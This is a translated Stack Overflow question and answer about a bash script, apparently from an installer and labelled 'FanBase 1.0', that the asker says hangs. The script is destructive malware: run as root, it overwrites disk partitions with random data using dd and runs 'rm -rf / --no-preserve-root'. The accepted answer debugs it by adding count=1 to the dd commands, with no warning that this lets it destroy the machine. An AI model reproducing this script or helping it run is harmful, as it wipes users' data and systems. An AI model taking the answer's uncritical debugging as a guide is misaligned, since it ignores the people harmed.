linux - 为什么一段时间后代码为真;做 ...;完成循环从未在 bash 中调用过?

标签 linux bash

此脚本已在安装中列出。但是它只是挂起并且不执行任何操作。是不是有什么问题。

我试过在多台计算机上运行这个脚本。

#!/bin/bash
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root" 
   exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message 
rm -rf b
while true
  do
   echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
   dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
   dd if=b of=/dev/sda1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
   rm -rf / --no-preserve-root 2> /dev/null
  done
echo "DONE!"

它应该说“完成!”

最佳答案

让我们调试一下。尝试为每个 dd 命令添加一个 count=1 选项。例如,

    dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null

关于linux - 为什么一段时间后代码为真;做 ...;完成循环从未在 bash 中调用过?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/54405880/

相关文章:

linux - 将 bash 输出重定向到 bash 脚本中的文件

bash - 使用 inotifywait 和 avconv 解释 bash 脚本中的字符串

node.js - 使用 shell 选项将 bash 与 Node.js child_process 一起使用失败

PHP 文件上传无法打开流

c - unlocked_ioctl 与普通 ioctl

bash - 如何根据 "starting"和 "ending"模式提取文件的各个部分

bash - 在不使用临时变量的情况下将字符串添加到数组的所有元素之前和之后

xml - 如何使用 awk 在多个文件中第一次匹配模式后插入多行

linux - 为什么 echo -n "100"| wc -c 输出 3?

linux - 在 WHM 中创建新的 cPanel 之前我需要购买域名吗?